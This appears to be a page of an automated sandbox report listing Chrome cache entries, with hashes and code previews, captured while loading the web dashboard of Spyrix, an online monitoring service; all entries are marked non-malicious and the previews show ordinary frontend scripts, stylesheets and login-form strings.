Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	296
Entropy (8bit):	5.209985161631545
Encrypted:	false
SSDEEP:	6:ppuXX6C8Vk2GeLETF41DCuOVNMEXXZdeW6Gej1VNDYLZzo+q:BC8Vk2Gew4ZCuUtoGexVNDmZct
MD5:	BC014647DE85B8D6EE3D5919C12A1657
SHA1:	A0B345B75F9C992DAEFBF3592BAD068D0512E22E
SHA-256:	7E7C447A5F70750D599F18780DCFFA85F4A637F3EB7BBB889532AC4622440595
SHA-512:	D366D8B3201295AD0C61EF9455DE5FB939618FE277D0A13ECA95493625ECBC2546604AEBCC76951E893C0205EE38BEAF93233E8510599657504D5C473A7C7375
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-7e7c447a.css
Preview:	.MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQe5UjYN{width:100%}.-s8ttL3y{width:200px}.

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	dropped
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	downloaded
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	dropped
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	dropped
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	downloaded
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	downloaded
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js
Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1512)
Category:	downloaded
Size (bytes):	1513
Entropy (8bit):	5.364910493353474
Encrypted:	false
SSDEEP:	24:LO+S3cnRBofRI9CD2n13n1cmgg4u0x0onlVbFn1tcD/wFn1Km5eN8Wocl:LO+ecacCDMteBgs0ilK/Y0D7n
MD5:	D5296A2D8854493E01C420A5CE74E107
SHA1:	8C26E4109BEFD162A553D1243FDD46177249827F
SHA-256:	04FFDA9483449F07429EBF4A61BC348936D326C88FE1504DE8D90830A7E73097
SHA-512:	2A58E5CEA2B8361C7E64A77241368B64E909858D966621C950046AA3194357F705597D561C7087754EB3E7560E38203A56F4C25B74D70A3D3DF7BCABDB38BDB5
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css
Preview:	._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);min-width:250px;display:flex;max-width:85%;box-shadow:var(--shadow);z-index:var(--z-modal);transform-origin:center center;border-radius:10px;background-color:#fff;cursor:auto;max-height:85%}@media screen and (max-width: 768px){._6sPwaxyC{width:max-content}}@media screen and (max-width: 480px){._6sPwaxyC{overflow-x:hidden;overflow-y:scroll;max-width:100%;max-height:98%;width:100%;bottom:0;left:0;top:initial;transform:translate(0);border-radius:10px 10px 0 0;padding:50px 0 10px;height:-webkit-fill-available}}.LL0-2zyj{position:absolute;right:-40px;top:-35px;width:50px;height:50px;transition:.3s;display:flex;justify-content:center;align-items:center;cursor:pointer}@media screen and (max-width: 480px){.L

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.module-c769b9ae.js
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3064)
Category:	downloaded
Size (bytes):	3065
Entropy (8bit):	5.324905264285846
Encrypted:	false
SSDEEP:	48:uhzv2QuOpwb+/+F16axib+bjFf8Wn5R8sxqNX9Q:u12V+wi+6axiibjz5R8sCX9Q
MD5:	18A06D9DBE56451E74AF84EFCBBD5184
SHA1:	839EE80D333FA137025CBFA0500D2ACAF83C00E8
SHA-256:	342125717F6112F7A8D8246360CB83525C086CDE797A1A9305021AD8D6A4AA25
SHA-512:	6941A1F58FBB689E96C9B9B54C1280646AD0357336E95A39FED02DBBD5FAC911E5552C4E7674A1F6BF0E180CA3960CC1AE25006A48CC241CABD8859345527A97
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input-34212571.css
Preview:	.-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border);background-color:var(--input-bg);color:var(--app-text);outline:none;transition:.3s;overflow:hidden}@media screen and (max-width: 480px){.WnNoxKKH{font-size:16px}}.a6kY8aNX{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff;transition:.3s;box-shadow:var(--filter-button-shadow)}._-9LXnRIR{box-shadow:var(--filter-button-shadow-active);transform:translateY(-1px)}.F8HcYjNr{padding:10px 50px 10px 10px}.WnNoxKKH:focus{border-color:var(--primary)}.StnNIJM1{border-radius:10px 10px 0 0}.EKAf0gVE{border-color:var(--danger);animation:vzGZS5BU;animation-duration:.8s}.EKAf0gVE:focus{border-color:var(--danger)}.YJawxt4q{border-color:var(--success);animation:J-FFIdf3;animation-duration:.8s}.YJawxt4q:focus{border-color:var

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	193
Entropy (8bit):	4.890925322111789
Encrypted:	false
SSDEEP:	3:GCS9iDe6W4Z2S0N4mSR5C0AOoWRIJ6Ge/nHFHC0AOoWRIJ6Ge/lwIQMefnv:GCS9iPh2fq9S2Ge/H1S2Ge9hwv
MD5:	C0140EE8C87F9E754F26661D59A188EB
SHA1:	86540FD8F4BCEC9CD775079D1F9E552339DBBB1F
SHA-256:	EAD06CA10694C82218CC5B89E938B31B6CD7C8F2C459DFA53DED7CD994DD8295
SHA-512:	30C29229706C5A1F62C29EA64250C763E62946D81F56E510503B4E8D2E51FE4AA0833297D6AE38F718DD0929EAE9CC26320FD0A8B5F0E2AEB92498F6CB581F51
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText-ead06ca1.css
Preview:	.vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}.

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/cdn.js
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	dropped
Size (bytes):	271541
Entropy (8bit):	5.571901615466081
Encrypted:	false
SSDEEP:	6144:2k3n+yZmKryzjrgBB9Tch2+4jm8eTVcwOuw4z:tuumKrtkOI
MD5:	90CEC87BDC82C1DA358FA8E81C317F79
SHA1:	044712FDAC52F865D60B89022C1CA80043E1C17A
SHA-256:	5B1A87B76FF371EB382EC54F138C9C1190CFB32BA2CC7779C287E9CCEE4764C7
SHA-512:	66AE8B958AE663113D04488ACD558930DC30AB529566EC5073FAF99D28504472D2FA3CCE808D6D7B0F52CFF493EB6B1AD9F5F08C022B9B1FD838522B6B13CC69
Malicious:	false
Reputation:	unknown
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 61324
Category:	downloaded
Size (bytes):	14777
Entropy (8bit):	7.985311124175744
Encrypted:	false
SSDEEP:	384:wRjB6v/xeGOgP84779+VKmX1nGMJpjHyC:wRlexAOxmX1nGMDHyC
MD5:	12D71E76550BE9BFDFDAB148795FFFD0
SHA1:	0E49EEE8873E6CD22A04557B47A272E424379186
SHA-256:	35DC7260DC2119B3DE608859D5DC0179652C72FB426DE265FF178A19DBD65297
SHA-512:	E8D46F38B669136DC1E233379500CF079DFCA8EA6D09F46F6B3C841E7539AB5F55080507A27C05FA182E1332CC2F3A98F4A1BAB4DF8417FE129B535013DB736A
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css
Preview:	...........}{s#.....).....b..R...Y.o..{o.S..."-..TK=:.g._&2.(.H...w.q..T.J$.D..E..w........6.\|q...vs..yQ..O.....o.7...z.+f.....px.../.M.....f.....:./..r..we..>......:.Cu...w._.y>...E...E....w...f....g.............<..ju.<...Nk..g...u5.P.yR......l..?..#)..v]f..p.X,.. ..8F..h3=.6...U.....a.{y..W..v3.U....P]o?T..z.4[...\....v.}.Y.]ow.w....x.@.....I....j.....Y.8T^..\|.]?.....a.^W....iU...n....;.\|..=......EFo.}.V..m5[.6.$.v...js..v...jw;./z....\...}y.._.z.....u..`&....m....f...U.......".H...pU.I.....E.u.....'m..]Y.2...~6.....a.^......K....=<.?.D.L)}.H.6..qK.d.YV.....rX.&d.zu...C`..Y..........%.{9l_R.dN...../5......vw.7.+.Y.)....vS]g..L?....a.X,..`....2zJ].....:{.,a...X.>B$.a.$u]h.{....+..{t.=U..!.t......\|{8l..YU!o...o..(5.b..a..3.C.=...+.l.\|....A.s...\|..$..$)..g..=.h:\l..}.q...K.}..!..)....}.....k..A...~L>}.1JQ...g..b..j....KD.wU.. j...;,.....u...Y....3U..=.R..l.....T..QBGt........... ..O._...6..Q.#.3.....'...EO.....1..,.pD...p.p.

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	dropped
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.787752985539471
Encrypted:	false
SSDEEP:	3:InjZjBJx0rgBBMrDwR:8ZVJWcB6rDc
MD5:	56AFDCA4F7D312FFEFEA0C038677BD58
SHA1:	7D08C415DB9B84C286B1CBD1D89AE7362B037D01
SHA-256:	4C4E4A287646CC906E15C8946CFF23C53883081211D2761753BA3280F6738833
SHA-512:	6758DDBB0C9C5CEECB22E1FB13918CBAB7A39531D609FF7E1FAC052BCC5234855B6815D08F2D01577F5D057EF8B991A616CF350B232F92457AC4BF5767FE5B15
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnvDa0HuqPA0hIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	Ci0KBw2RYZVOGgAKIg01hlQcGgQITBgCKhUIClIRCgdAIS4kKiNfEAEY/////w8=

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 44112, version 1.0
Category:	downloaded
Size (bytes):	44112
Entropy (8bit):	7.9948954741957445
Encrypted:	true
SSDEEP:	768:qGOGI3UCq6sLa8v1/S4xmK/+/PyZV36e2TQxLWV0Bu+ApsjGflc/PMMY:qGO3q6ga8v15xmK/SP+3lJWqB+psKNKK
MD5:	1C42A31D86C3E555177BCEBFDF350242
SHA1:	036274A3A1786AE81BFAFECE5F49927103244AC2
SHA-256:	73DCAA510E814FF8CF4672A984FA934A4385253A50507E2390A5150A40A5971C
SHA-512:	7091CEB7B24B4F84D54958BB7C3E10AA0E34E73465977C4CE09D08F75DCDA3BE2989CDB95EF38282E4A62863B3DA1B4B8CEC0E316508A68551C80952DBABE171
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2
